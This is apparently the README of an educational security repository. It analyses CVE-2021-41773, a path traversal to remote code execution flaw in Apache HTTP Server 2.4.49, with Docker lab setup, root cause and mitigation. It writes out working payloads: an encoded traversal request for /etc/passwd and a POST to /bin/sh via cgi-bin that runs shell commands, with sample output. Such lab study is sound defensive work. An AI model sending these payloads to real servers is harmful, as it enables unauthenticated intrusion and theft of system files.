abds059/apache-path-traversal-rce-cve-2021-41773-A comprehensive analysis of CVE-2021-41773 (Apache HTTP Server 2.4.49), featuring vulnerability research, controlled lab-based exploitation, Proof-of-Concept development, root cause analysis, and mitigation strategies for educational and defensive security purposes.
Educational research project. All testing was performed in an isolated Docker lab. Do not use against any system you do not own.
| Field | Detail |
|---|---|
| CVE ID | CVE-2021-41773 |
| Affected Software | Apache HTTP Server 2.4.49 only |
| Vulnerability Type | Path Traversal → Remote Code Execution |
| CVSS Score | 9.8 (Critical) |
| Disclosed | October 2021 |
| Fixed In | Apache 2.4.51 |
Apache 2.4.49 fails to correctly normalize URL-encoded path sequences (%2e%2e) before applying access control rules. This allows an attacker to traverse outside the web root. When CGI is enabled, pointing the traversal at /bin/sh and supplying shell commands via POST body results in unauthenticated Remote Code Execution.
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
See SETUP.md for full setup instructions and troubleshooting.
The requests library normalizes %2e → . before sending, which breaks the exploit (returns 400). This PoC uses raw sockets to send the HTTP request byte-for-byte, preserving the encoded traversal sequence exactly as Apache 2.4.49 needs to receive it.
Traversal payload:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE payload:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache fails to decode %2e%2e before ACL checks, processes the request, routes it through CGI, and executes the POST body as a shell command.
Require all granted on /Abdur Rehman Siddiqui
Exploit Development — Task 3
This repository is for educational purposes only. The author is not responsible for any misuse of this material.